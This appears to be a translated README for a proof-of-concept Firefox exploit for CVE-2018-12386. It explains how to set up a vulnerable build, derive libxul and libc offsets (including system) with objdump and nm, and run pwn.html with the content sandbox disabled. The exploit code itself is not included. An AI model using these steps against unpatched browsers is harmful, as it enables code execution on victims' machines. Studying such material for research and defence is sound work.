
CVE-2018-12386 - Эксплойт RCE в песочнице Firefox для Linux (Firefox <v62.0.3)
Вот простой эксплойт для уязвимости CVE-2018-12386, найденной Никласом Баумстарком, Самуэлем Гроссом и Бруно Китом.
В основном это PoC, сделанный мной ради развлечения; здесь нет обхода песочницы, и он будет работать
только в определенной конфигурации Linux, где уже известны смещения, используемые эксплойтом
(их можно изменить в exploit/offsets.js).
Этот эксплойт работает для версий, предшествующих Firefox 62.0.3 и Firefox ESR 60.2.2.
Вы можете скачать прошлые выпуски Firefox напрямую с FTP-сервера Mozilla: https://ftp.mozilla.org/pub/firefox/releases/
Можно использовать, например, версию 62.0.2 для 64-битной Linux: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soЕсли вы используете Firefox 62.0.2, смещения, указанные в exploit/offsets.js,
должны быть правильными.
Для других версий простой способ — использовать
примитив addrof для утечки адреса JavaScript-функции
Math.max, затем найти базовый адрес libxul.so для текущего экземпляра
Firefox (например, с помощью cat /proc/$(pidof firefox)/maps)
и вычесть одно из другого, чтобы получить смещение libxul_math_max.
Если вы используете Firefox 62.0.2, смещения, указанные в exploit/offsets.js,
должны быть правильными.
Для других версий простой способ — использовать objdump.
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
8052e0: ff 25 82 86 40 05 jmpq *0x5408682(%rip) # 5c0d968 <tolower@GLIBC_2.2.5>
5c0b370 и 5c0d968 — это нужные нам значения, то есть смещения memmove и
tolower в libxul.so.
libc.so.6Эти смещения полностью зависят от версии libc, которую вы используете.
# расположение libc.so.6
[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system
После того как у вас есть Firefox и правильные смещения, вы можете протестировать эксплойт, запустив следующую команду:
MOZ_DISABLE_CONTENT_SANDBOX=1 /путь/к/уязвимому/firefox /путь/к/cve-2018-12386/exploit/pwn.html

Если хотите поздороваться: @lyte__